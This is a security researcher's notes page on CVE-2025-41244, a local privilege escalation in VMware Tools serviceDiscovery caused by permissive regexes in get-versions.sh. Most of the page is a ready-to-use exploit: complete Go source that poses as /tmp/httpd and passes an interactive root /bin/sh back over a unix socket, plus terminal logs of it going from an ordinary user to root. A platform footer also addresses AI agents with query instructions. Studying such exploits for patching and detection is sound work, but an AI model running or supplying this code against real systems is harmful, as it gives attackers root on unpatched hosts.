> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/exploits-pocs/vmware/cve-2025-41244.md).

# CVE-2025-41244

<mark style="color:red;">**Local Privilege Escalation**</mark> through VMware Tools and/or VMware Aria Operations due to bad regexp in the serviceDiscovery `get-version.sh` [script](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh).

```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
```

The usage of the broad‑matching `\S` character class (matching non‑whitespace characters) in several of the regex patterns also matches non-system binaries (e.g., `/tmp/httpd`). Target system must have serviceDiscovery installed which can be found by running `dpkg -l | grep vm-tools` or browsing the directory `/usr/lib/x86_64-linux-gnu/open-vm-tools/` and look for `./serviceDiscovery/scripts/get-versions.sh`.

Service Discovery runs once every 5 minutes.

### Vulnerable versions

* VMware Cloud Foundation 4.x and 5.x
* VMware Cloud Foundation 9.x.x.x
* VMware Cloud Foundation 13.x.x.x (Windows, Linux)
* VMware vSphere Foundation 9.x.x.x
* VMware vSphere Foundation 13.x.x.x (Windows, Linux)
* VMware Aria Operations 8.x
* VMware Tools 11.x.x, 12.x.x, and 13.x.x (Windows, Linux)
* VMware Telco Cloud Platform 4.x and 5.x
* VMware Telco Cloud Infrastructure 2.x and 3.x

### Requirements

* serviceDiscovery must be installed
* Binary name must match regexp check in get-version.sh e.g. /tmp/httpd
* Binary must appear as a network service

### PoC || GTFO

**Vulnerable system:**

```bash
kdev :: ~/poc/vmtoolsd » go build -o /tmp/httpd CVE-2025-41244.go
kdev :: ~/poc/vmtoolsd » id
uid=1001(void) gid=1001(void) groups=1001(void)
kdev :: ~/poc/vmtoolsd » /tmp/httpd           
Waiting on privileged process...

## Verify that process appear as a network service
kdev :: ~/poc/vmtoolsd » ss -lptn | grep httpd
LISTEN 0      4096            127.0.0.1:32837      0.0.0.0:*    users:(("httpd",pid=25343,fd=3))

## A shell will spawn within 5 minutes.
kdev :: ~/poc/vmtoolsd » /tmp/httpd       
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
# id
uid=0(root) gid=0(root) groups=0(root)
```

**Non-vulnerable system, manual poc:**

```bash
kdev :: ~/poc/vmtoolsd » go build -o /tmp/httpd CVE-2025-41244.go
kdev :: ~/poc/vmtoolsd » /tmp/httpd           
Waiting on privileged process...

kdev :: ~/poc/vmtoolsd » sudo ./get-version.sh
VERSIONSTART vcops_version  VERSIONEND
VERSIONSTART srm_mgt_server_version  VERSIONEND
VERSIONSTART vcenter_appliance_version  VERSIONEND
VERSIONSTART db2_version  VERSIONEND
VERSIONSTART tcserver_version  VERSIONEND

kdev :: ~/poc/vmtoolsd » /tmp/httpd       
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
# id
uid=0(root) gid=0(root) groups=0(root)
```

### Source code

```go
// CVE-2025-41244.go
package main

import (
        "fmt"
        "io"
        "net"
        "os"
        "os/exec"
)

func main() {
        // If started with an argument (e.g., -v or --version), assume we're the privileged process.
        // Otherwise, assume we're the unprivileged process.
        if len(os.Args) >= 2 {
                if err := connect(); err != nil {
                        panic(err)
                }
        } else {
                if err := serve(); err != nil {
                        panic(err)
                }
        }
}

func serve() error {
        // Open a dummy listener, ensuring the service can be discovered.
        dummy, err := net.Listen("tcp", "127.0.0.1:0")
        if err != nil {
                return err
        }
        defer dummy.Close()

        // Open a listener to exchange stdin, stdout and stderr streams.
        l, err := net.Listen("unix", "@cve")
        if err != nil {
                return err
        }
        defer l.Close()

        // Loop privilege escalations, but don't do concurrency.
        for {
                if err := handle(l); err != nil {
                        return err
                }
        }
}

func handle(l net.Listener) error {
        // Wait for the privileged stdin, stdout and stderr streams.
        fmt.Println("Waiting on privileged process...")

        stdin, err := l.Accept()
        if err != nil {
                return err
        }
        defer stdin.Close()

        stdout, err := l.Accept()
        if err != nil {
                return err
        }
        defer stdout.Close()

        stderr, err := l.Accept()
        if err != nil {
                return err
        }
        defer stderr.Close()

        // Interconnect stdin, stdout and stderr.
        fmt.Println("Connected to privileged process!")
        errs := make(chan error, 3)

        go func() {
                _, err := io.Copy(os.Stdout, stdout)
                errs <- err
        }()
        go func() {
                _, err := io.Copy(os.Stderr, stderr)
                errs <- err
        }()
        go func() {
                _, err := io.Copy(stdin, os.Stdin)
                errs <- err
        }()

        // Abort as soon as any of the interconnected streams fails.
        _ = <-errs
        return nil
}

func connect() error {
        // Define the privileged shell to execute.
        cmd := exec.Command("/bin/sh", "-i")

        // Connect to the unprivileged process
        stdin, err := net.Dial("unix", "@cve")
        if err != nil {
                return err
        }
        defer stdin.Close()

        stdout, err := net.Dial("unix", "@cve")
        if err != nil {
                return err
        }
        defer stdout.Close()

        stderr, err := net.Dial("unix", "@cve")
        if err != nil {
                return err
        }
        defer stderr.Close()

        // Interconnect stdin, stdout and stderr.
        fmt.Fprintln(stdout, "Starting privileged shell...")
        cmd.Stdin = stdin
        cmd.Stdout = stdout
        cmd.Stderr = stderr

        return cmd.Run()
}
```

### Install Service Discovery

```bash
kdev :: ~/poc » sudo apt install open-vm-tools-sdmp
kdev :: ~/poc » sudo vmware-toolbox-cmd config set servicediscovery disabled false
kdev :: ~/poc » cat /etc/vmware-tools/tools.conf
...
[servicediscovery]
disabled=false
kdev :: ~/poc » sudo systemctl restart vmtoolsd 
```

After installing and restarting the service locally you may need to configure the Service Discovery adapter in your VMware management tool, such as vRealize Operations, to start collecting. Only then will the exploit trigger automatically.

***

**Full blog post here:** <https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xpthree.gitbook.io/notes/exploits-pocs/vmware/cve-2025-41244.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
